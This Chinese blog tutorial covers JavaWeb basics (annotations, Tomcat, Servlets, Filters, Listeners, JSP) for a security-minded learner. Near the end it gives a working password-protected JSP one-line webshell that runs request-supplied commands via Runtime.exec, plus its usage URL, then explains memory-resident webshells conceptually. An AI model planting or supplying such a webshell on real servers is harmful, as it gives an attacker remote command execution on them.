目录

  1. 1. 前言
  2. 2. 注解
    1. 2.1. 内置注解
    2. 2.2. 元注解
    3. 2.3. 自定义注解
  3. 3. 配置Maven
  4. 4. Tomcat快速上手
    1. 4.1. 创建项目
    2. 4.2. 项目结构
    3. 4.3. 配置tomcat
  5. 5. Hello Servlet
  6. 6. 重写GET和POST方法
  7. 7. 注册Servlet
    1. 7.1. Mapping
    2. 7.2. 自定义Error页面
  8. 8. @WebServlet
  9. 9. Servlet原理
  10. 10. ServletContext对象
  11. 11. 重定向与转发
    1. 11.1. 重定向
    2. 11.2. 转发
  12. 12. Filter
    1. 12.1. 创建
    2. 12.2. Filter Chain
  13. 13. Listener
  14. 14. JSP
    1. 14.1. 标签
    2. 14.2. 对象
    3. 14.3. 操作符
    4. 14.4. 隐式对象
    5. 14.5. 导入&引入
    6. 14.6. 一句话木马
  15. 15. 内存马

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

JavaWeb基础

2024/1/29 Basic Java
  |     |   总文章阅读量:

前言

接触过不少java的源码了,这里也是学习一下 Servlet 基础

参考文章:

https://exp10it.io/2022/11/java-servlet-%E5%9F%BA%E7%A1%80

https://boogipop.com/2023/03/02/JavaSE_%E6%B3%A8%E8%A7%A3%E5%92%8C%E5%8F%8D%E5%B0%84/#%E6%B3%A8%E8%A7%A3%E6%A6%82%E5%BF%B5

https://boogipop.com/2023/03/02/JavaWeb/

http://www.mi1k7ea.com/2020/04/26/%E6%B5%85%E6%9E%90EL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/

Servlet (Server Applet), 全称Java Servlet. 是用 Java 编写的服务器端程序. 其主要功能在于交互式地浏览和修改数据,生成动态 Web 内容. 狭义的 Servlet 是指 Java 语言实现的一个接口,广义的 Servlet 是指任何实现了这个 Servlet 接口的类,一般情况下,人们将 Servlet 理解为后者.

Servlet 运行于支持 Java 的应用服务器中. 从实现上讲, Servlet 可以响应任何类型的请求, 但绝大多数情况下 Servlet 只用来扩展基于 HTTP 协议的 Web 服务器.

Servlet 的版本和 Tomcat 版本的对应关系:https://tomcat.apache.org/whichversion.html

其中 Servlet 3.0 以上开始支持直接使用注解来进行大部分配置, 避免了编写复杂的 web.xml (当然仍然有一些内容必须要用 xml 来配置)

本文环境:Java 8 + Servlet 4.0 + Tomcat 8,使用 IntelliJ IDEA IDE


是的,向IDEA投祥了

你知道的,我一直都是JetBrains的忠实用户,中间忘了,我已经迫不及待的想要为IDEA欢呼了,至于vscode,祝它的各种配置顺利

注解

Annotation是JDK5.0开始引入的技术

作用:

  • 不是程序本身,但是可以对程序做出解释
  • 可以被其他程序读取

格式:

@注释名在代码中存在的,还可以添加一些参数值,如@supperessWarnning(value=”undefined”).

使用:

可以附加在package、class、method、field等上面,相当于给他们添加了额外的属性,我们可以通过反射机制编程实现对这些元数据的访问

public class Demo2 implements Demo<String>{
    
    @Override
    public String show(String s){
        System.out.println(s);
        return s
    }
}

这里的@Override就是注解,也就是重写的意思

内置注解

@Override:定义在java.lang.Override,此注释只适用修饰方法,
表示一个方法声明打算重写父类中的另一个方法

@Deprecated: 定义在java.lang.Deprecated中,可以用于修饰方法
属性,类,表示不鼓励程序员使用这样的元素

@SupeeressWarnings:定义在java.lang.SupperessWarnings,用于抑制编译时的警告信息,类似于php中的error_reporting()
与前两个注释有所不同,你需要添加一个参数才能正确使用
这些参数都是已经定义好了的,我们选择性的使用就好了;
@SupperessWarnings("all");
@SupperessWarnings("unchecked");
@SupperessWarnings(value={"unchecked":"deprecation"});

元注解

注解其他注解,java定义了四个标准元注解(meta-annotation)

import java.lang.annotation
    
@Target(value = {ElementType.METHOD,ElementType.TYPE})
// 用于描述注解的使用范围
    
@Retention(value = RetentionPolicy.RUNTIME)
// 表示需要在什么级别保存该注释信息,用于描述注解的生命周期(SOURCE < CLASS < RUNTIME)
    
@Document
// 说明该注解将被包含在javadoc中
    
@Inherited
// 说明子类可以继承父类中的该注解

自定义注解

@interface:声明一个注解

使用@interface自定义注解时,自动继承了java.lang.annotation.Annotation接口

如果只有一个参数成员,一般参数名为value

@interface MyAnnotation2{
    // 注解的参数:参数类型 + 参数名()
    // 其中的每一个方法实际上是声明了一个配置参数,方法的名称就是参数的名称
    String name() default "";	// 可以用default声明参数的默认值
    int age();
    int id() default -1;	// 如果默认值为-1,代表不存在
    
    String[] schools() default{"Ano酱?","什么时候"};
}

public class Test{
    @MyAnnotation2(age = 18,name = "tormoli")
    public void test(){}
}

配置Maven

配置阿里云镜像,在maven的conf文件夹下的setting.xml里面加入这段

<mirror>
  <id>aliyunmaven</id>
  <mirrorOf>*</mirrorOf>
  <name>阿里云公共仓库</name>
  <url>https://maven.aliyun.com/repository/public</url>
</mirror>

Tomcat快速上手

创建项目

idea 新建项目,选择 Jakarta EE 生成器,版本选择Java EE 8

项目结构

image-20240204111729941

  • main/java 目录存放 Java 源码
  • resources 目录存放资源文件, 并随 war/jar 一起打包
  • webapp 目录相当于服务器的 www 目录,客户端可直接访问
  • webapp/WEB-INF 目录为安全目录,客户端无法直接访问,一般存放 web.xml 以及 class 和 lib 文件

配置tomcat

tomcat8下载地址:https://tomcat.apache.org/download-80.cgi

右上角编辑配置

image-20240204111910916

配置 url,jre 以及 http 端口

image-20240204114113016

配置应用程序上下文方便调试

image-20240204111350437


Hello Servlet

如果想要开发一个Servlet程序,只需要完成2个步骤

  • 编写一个类,实现Servlet接口
  • 把开发好的java类部署到web服务器中
package com.example.learnservlet;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
import java.io.PrintWriter;

public class IndexServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        PrintWriter writer = resp.getWriter();//响应流
        writer.print("hello servlet");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    }
}

servlet默认接口HttpServlet


重写GET和POST方法

doGet:即GET方法,相应的有doPost方法

我们需要对它们进行重写,选中HttpServlet,快捷键ctrl+o调出可重写的方法

image-20240204115022513

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    PrintWriter writer = resp.getWriter();//响应流
    writer.print("hello servlet");
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
}

注册Servlet

在没有index.jsp的情况下,我们可以设置web.xml来把方法绑定到路由上

编辑WEB-INF中的web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                  http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0"
         metadata-complete="true">

    <servlet>
        <servlet-name>IndexServlet</servlet-name>
        <servlet-class>com.example.learnservlet.IndexServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>IndexServlet</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

</web-app>

Mapping

<servlet-mapping>
      <servlet-name>IndexServlet</servlet-name>
      <url-pattern>/hello</url-pattern>
</servlet-mapping>

url-pattern对应的就是路由,而我们写成/hello/*时,*就是通配符

  • 一个servlet可以指定一个或多个映射
  • 一个servlet可以指定通用映射路径
  • 利用通配符我们可以指定一些后缀或者前缀:*.111111.*
  • 默认请求路径:/*

自定义Error页面

默认的404

image-20240204125414660

我们可以自己写一个

package com.example.learnservlet;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class ErrorServlet  extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.setContentType("text/html");
        resp.setCharacterEncoding("utf-8");
        PrintWriter testwriter=resp.getWriter();
        testwriter.println("<h1>404</h1>");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
    }
}

web.xml增加

<servlet>
       <servlet-name>errordemo</servlet-name>
       <servlet-class>com.example.learnservlet.ErrorServlet</servlet-class>
   </servlet>
   <servlet-mapping>
       <servlet-name>errordemo</servlet-name>
       <url-pattern>/*</url-pattern>
   </servlet-mapping>

image-20240204125900406

这样就完成了自定义error的设定

由于通配符的优先级较低,所以/hello路由不会进入404


@WebServlet

Java 中使用 @WebServlet 注解来标注 Servlet,其中 name 指定 Servlet 名称 (可省略),value 指定路由 (必须)

路由也可以在 web.xml 用 url-pattern 指定, 两者基本等价,不过只能二选一

此时web.xml配置为

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                  http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
</web-app>

这里要注意 / 路由实际上会接收所有未匹配的路径, 相当于 /*

package com.example.learnservlet;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet(name = "IndexServlet", value = "/")
public class IndexServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        PrintWriter writer = resp.getWriter();//响应流
        writer.print("hello servlet");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    }
}

例如我们访问 /abcd, 最后处理请求的依然是这个 IndexServlet

image-20240204124237096


Servlet原理

image-20240204124613766


ServletContext对象

web容器启动时,会为每个web程序都创建一个对应的 servletcontext 对象,它代表了当前的web应用,网站就是由这个对象进行管理

作用:共享数据

即在一个servlet中保存的数据,可以在另一个servlet拿到

demo:

package com.example.learnservlet;

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class HelloServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        ServletContext context= this.getServletContext();
        String name="Rikki";
        context.setAttribute("username",name);
        resp.getWriter().println("Huh?");

    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    }
}
package com.example.learnservlet;

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class ShareDemo extends HttpServlet {


    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        ServletContext getcontext=this.getServletContext();
        String name=(String) getcontext.getAttribute("username");
        resp.setCharacterEncoding("utf-8");
        resp.setContentType("text/html");
        resp.getWriter().println("I am "+name);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
    }
}

web.xml

<servlet>
    <servlet-name>hellodemo</servlet-name>
    <servlet-class>com.example.learnservlet.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>hellodemo</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
<servlet>
    <servlet-name>sharedemo</servlet-name>
    <servlet-class>com.example.learnservlet.ShareDemo</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>sharedemo</servlet-name>
    <url-pattern>/get</url-pattern>
</servlet-mapping>

我们先访问 /get 路由看看

image-20240204150056069

此时name的值是 null,因为还没设置值

接下来访问 /hello 路由,此时才给name设置了值

image-20240204150226310

再访问 /get 路由

image-20240204150251050

可以看出来我们在第一个路由中设置的username的值在第二个路由中成功的拿到了


重定向与转发

重定向是客户端重定向,http 返回 301 或者 302 请求并指定 location 跳转

转发是服务端 Servlet 内部的行为,客户端方面感受不到路由变化

重定向

利用 HttpServletResponse 的 sendRedirect 方法

response.sendRedirect("http://www.baidu.com/");

转发

通过 HttpServletRequest 对象获取 RequestDispatcher 并调用 forward 方法

RequestDispatcher rd = request.getRequestDispatcher("/user");
rd.forward(request, response);

等价于

request.getRequestDispatcher("/user").forward(request, response);

结合前面的共享数据,写一个demo:

IndexServlet.java

package com.example.learnservlet;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.HashMap;
import java.util.Map;

public class IndexServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse resq) throws ServletException, IOException {
        String username = request.getParameter("username");
        String password = request.getParameter("password");
        Map userMap = new HashMap<>();
        userMap.put("username", username);
        userMap.put("password", password);
        request.setAttribute("user", userMap);
        RequestDispatcher rd = request.getRequestDispatcher("/user");
        rd.forward(request, resq);
    }
}

UserServlet.java

package com.example.learnservlet;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.Map;

public class UserServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        Map userMap = (Map) request.getAttribute("user");
        response.setContentType("text/html");
        PrintWriter pw = response.getWriter();
        pw.write("servlet: " + this.getServletName());
        pw.write("<br />");
        pw.write("username: " + userMap.get("username"));
        pw.write("<br />");
        pw.write("password: " + userMap.get("password"));
        pw.flush();
    }
}

web.xml

<servlet>
    <servlet-name>IndexServlet</servlet-name>
    <servlet-class>com.example.learnservlet.IndexServlet</servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>IndexServlet</servlet-name>
    <url-pattern>/index</url-pattern>
</servlet-mapping>
<servlet>
    <servlet-name>UserServlet</servlet-name>
    <servlet-class>com.example.learnservlet.UserServlet</servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>UserServlet</servlet-name>
    <url-pattern>/user</url-pattern>
</servlet-mapping>

虽然是在 /index 路由下,但是我们依旧可以给 UserServlet 传入参数,因为做了转发

image-20240204153430755


Filter

Servlet Filter 可以拦截客户端发送给 Servlet 的 request, 并修改 Servlet 返回给客户端的 response

image-20240204155638728

创建

package com.example.learnservlet.filters;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter(urlPatterns = "/*")
public class UserFilter implements Filter {
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("before");
        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("after");
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void destroy() {

    }
}

当我们访问页面的时候,会经过 Filter ,服务器那边也会做出相应的响应

image-20240204160116279

这里使用 @WebFilter 注解来标注 Filter, urlPatterns 指定匹配规则(参数大部分跟 @WebServlet 相同)

一个 Filter 实现自 Filter 接口,并且必须实现 doFilter 方法,jdk 1.8 版本需要手动重写 init 和 destroy 方法,高版本不需要

其中 filterChain.doFilter(servletRequest, servletResponse) 用于将请求传递至下一个 Filter (如果存在多个 Filter) 或 Servlet

Filter Chain

对于同一条拦截规则可以设置多个 Filter,这些 Filter 组成一条 Filter Chain,客户端的请求会依次经过每一个 Filter 并最终达到 Servlet,Servlet 处理完成后再按照相反的顺序将响应回传给对应 Filter,最终达到客户端

image-20240204155924220

执行流程类似于栈的 “先进后出”,即第一个拦截 request 的 Filter 最后才拦截 response


Listener

监听器,用于监听事件变化并执行相关代码

相关概念:

  • 事件: 方法调用、属性改变、状态改变等。
  • 事件源: 被监听的对象( 例如: request、session、servletContext)
  • 监听器: 用于监听事件源对象, 事件源对象状态的变化都会触发监听器
  • 注册监听器: 将监听器与事件源进行绑定

JSP

即 Java Server Pages,本质上仍然是 Servlet,服务器在运行 JSP 时会将其动态编译为 Servlet class 来执行

语法和 java 一致

实际上也是一种模板引擎

标签

代码:<% ... %>
注释:<%-- JSP Comment --%>
echo:<%= var %>

demo:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<%System.out.print("ciallo");%>
<%--输出一个日期--%>
<%=new java.util.Date()%>
</body>
</html>

image-20240204160941406

对象

JSP 内置了 Servlet 中的部分对象

  • out: 表示 HttpServletResponse 的 PrintWriter
  • session: 表示当前 HttpSession 对象
  • request: 表示当前 HttpServletRequest 对象

可以直接使用

可在 JSP 表达式中使用的文字:类似于指定变量类型

文字 文字的值
Boolean true 和 false
Integer 与 Java 类似。可以包含任何整数,例如 24、-45、567
Floating Point 与 Java 类似。可以包含任何正的或负的浮点数,例如 -1.8E-45、4.567
String 任何由单引号或双引号限定的字符串。对于单引号、双引号和反斜杠,使用反斜杠字符作为转义序列。必须注意,如果在字符串两端使用双引号,则单引号不需要转义。
Null null

操作符

术语 定义
算术型 +、-(二元)、*、/、div、%、mod、-(一元)
逻辑型 and、&&、or、双管道符、!、not
关系型 ==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。
empty 空操作符是前缀操作,可用于确定值是否为空。
条件型 A ?B :C。根据 A 赋值的结果来赋值 B 或 C。

隐式对象

JSP表达式语言定义了一组隐式对象,其中许多对象在 JSP scriplet 和表达式中可用:

术语 定义
pageContext JSP页的上下文,可以用于访问 JSP 隐式对象,如请求、响应、会话、输出、servletContext 等。例如,${pageContext.response}为页面的响应对象赋值。

此外,还提供几个隐式对象,允许对以下对象进行简易访问:

术语 定义
param 将请求参数名称映射到单个字符串参数值(通过调用 ServletRequest.getParameter (String name) 获得)。getParameter (String) 方法返回带有特定名称的参数。表达式${param.name}相当于 request.getParameter (name)。
paramValues 将请求参数名称映射到一个数值数组(通过调用 ServletRequest.getParameter (String name) 获得)。它与 param 隐式对象非常类似,但它检索一个字符串数组而不是单个值。表达式 ${paramvalues.name} 相当于 request.getParamterValues(name)。
header 将请求头名称映射到单个字符串头值(通过调用 ServletRequest.getHeader(String name) 获得)。表达式 ${header.name} 相当于 request.getHeader(name)。
headerValues 将请求头名称映射到一个数值数组(通过调用 ServletRequest.getHeaders(String) 获得)。它与头隐式对象非常类似。表达式${headerValues.name}相当于 request.getHeaderValues(name)。
cookie 将 cookie 名称映射到单个 cookie 对象。向服务器发出的客户端请求可以获得一个或多个 cookie。表达式${cookie.name.value}返回带有特定名称的第一个 cookie 值。如果请求包含多个同名的 cookie,则应该使用${headerValues.name}表达式。
initParam 将上下文初始化参数名称映射到单个值(通过调用 ServletContext.getInitparameter(String name) 获得)。

除了上述两种类型的隐式对象之外,还有些对象允许访问多种范围的变量,如 Web 上下文、会话、请求、页面:

术语 定义
pageScope 将页面范围的变量名称映射到其值。例如,EL 表达式可以使用${pageScope.objectName}访问一个 JSP 中页面范围的对象,还可以使用${pageScope .objectName. attributeName}访问对象的属性。
requestScope 将请求范围的变量名称映射到其值。该对象允许访问请求对象的属性。例如,EL 表达式可以使用${requestScope. objectName}访问一个 JSP 请求范围的对象,还可以使用${requestScope. objectName. attributeName}访问对象的属性。
sessionScope 将会话范围的变量名称映射到其值。该对象允许访问会话对象的属性。例如:${sessionScope. name}
applicationScope 将应用程序范围的变量名称映射到其值。该隐式对象允许访问应用程序范围的对象。

导入&引入

导入包: <%@ page import="java.io.*" %>
引入其它 JSP 文件: <%@ include file="config.jsp" %>

一句话木马

带密码的webshell

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

利用方式

/cmd.jsp?pwd=023&i=


内存马

内存马是一种无文件Webshell,简单来说就是服务器上不会存在需要链接的webshell脚本文件

内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码,一句话就能概括,那就是对访问路径映射及相关处理代码的动态注册。

内存马根据注入方式分为两种:

  1. servlet-api型
    通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马

  2. 字节码增强型
    通过java的instrumentation动态修改已有代码,从而实现命令执行等功能